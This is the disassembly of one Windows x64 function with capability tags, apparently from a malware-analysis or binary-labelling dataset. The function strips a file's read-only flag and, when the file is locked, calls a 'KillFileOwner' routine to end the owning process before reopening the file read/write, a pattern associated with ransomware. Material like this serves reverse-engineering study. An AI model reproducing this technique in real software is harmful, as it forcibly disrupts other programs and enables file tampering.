Function at 0x140040c30
Capabilities:
Check if file exists
Get file attributes
Get file size
Set file attributes

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x508
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xd2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x528]
mov rax, qword [0x14006b028]
xor rax, rbp
mov qword [rbp + 0x4b8], rax
lea rcx, [0x14007836b]
call fcn.14001ff23
mov rax, qword [rbp + 0x4e0]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0xffffffff
je 0x140040cb4
mov eax, dword [rbp + 4]
and eax, 1
test eax, eax
je 0x140040cb4
mov eax, dword [rbp + 4]
xor eax, 1
mov edx, eax
mov rax, qword [rbp + 0x4e0]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rax, qword [rbp + 0x4e0]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rcx, qword [rbp + 0x4e0]
mov qword [rcx + 8], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x24], eax
mov rax, qword [rbp + 0x4e0]
cmp qword [rax + 8], 0xffffffffffffffff
jne 0x140040ebb
cmp dword [rbp + 0x24], 0x20
je 0x140040d1e
cmp dword [rbp + 0x24], 0x21
jne 0x140040e72
lea rdx, str.File__s_is_already_open_by_another_program.
lea rcx, [rbp + 0x1f0]
call fcn.14001fc71
mov rcx, rax
call fcn.14001ff96
mov rcx, qword [rbp + 0x4e0]
mov rdx, qword [rcx]
mov rcx, rax
call fcn.14001f780
mov rax, qword [rbp + 0x4e0]
mov rcx, qword [rax]
call fcn.14001f140
test eax, eax
je 0x140040e27
lea rdx, str.KillFileOwner_for_file__s___success
lea rcx, [rbp + 0x270]
call fcn.14001f48d
mov rcx, rax
call fcn.14001fa2d
mov rcx, qword [rbp + 0x4e0]
mov rdx, qword [rcx]
mov rcx, rax
call fcn.14001f780
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rax, qword [rbp + 0x4e0]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rcx, qword [rbp + 0x4e0]
mov qword [rcx + 8], rax
mov rax, qword [rbp + 0x4e0]
cmp qword [rax + 8], 0xffffffffffffffff
jne 0x140040e25
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x4b4], eax
lea rdx, str.Cant_open_file__s._GetLastError___lu
lea rcx, [rbp + 0x2e0]
call fcn.14001f3b6
mov rcx, rax
call fcn.14001f933
mov ecx, dword [rbp + 0x4b4]
mov r8d, ecx
mov rcx, qword [rbp + 0x4e0]
mov rdx, qword [rcx]
mov rcx, rax
call fcn.14001f780
xor eax, eax
jmp 0x140040f46
jmp 0x140040e70
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x4b4], eax
lea rdx, str.KillFileOwner_for_file__s___error._GetLastError___lu.
lea rcx, [rbp + 0x350]
call fcn.140020040
mov rcx, rax
call fcn.14001f758
mov ecx, dword [rbp + 0x4b4]
mov r8d, ecx
mov rcx, qword [rbp + 0x4e0]
mov rdx, qword [rcx]
mov rcx, rax
call fcn.14001f780
xor eax, eax
jmp 0x140040f46
jmp 0x140040ebb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x4b4], eax
lea rdx, str.Cant_open_file__s._GetLastError___lu
lea rcx, [rbp + 0x3e0]
call fcn.14001fee2
mov rcx, rax
call fcn.14001f055
mov ecx, dword [rbp + 0x4b4]
mov r8d, ecx
mov rcx, qword [rbp + 0x4e0]
mov rdx, qword [rcx]
mov rcx, rax
call fcn.14001f780
xor eax, eax
jmp 0x140040f46
lea rdx, [rbp + 0x48]
mov rax, qword [rbp + 0x4e0]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140040edb
cmp qword [rbp + 0x48], 0
jne 0x140040f32
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x4b4], eax
lea rdx, str.Cant_get_file_size__s._GetLastError___lu
lea rcx, [rbp + 0x450]
call fcn.14001f7c1
mov rcx, rax
call fcn.14001ff2d
mov ecx, dword [rbp + 0x4b4]
mov r8d, ecx
mov rcx, qword [rbp + 0x4e0]
mov rdx, qword [rcx]
mov rcx, rax
call fcn.14001f780
mov rax, qword [rbp + 0x4e0]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140040f46
mov rax, qword [rbp + 0x4e0]
mov rcx, qword [rbp + 0x48]
mov qword [rax + 0x10], rcx
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140062ab0]
call fcn.14001fc85
mov rax, rdi
mov rcx, qword [rbp + 0x4b8]
xor rcx, rbp
call fcn.14001f753
lea rsp, [rbp + 0x4c8]
pop rdi
pop rbp
ret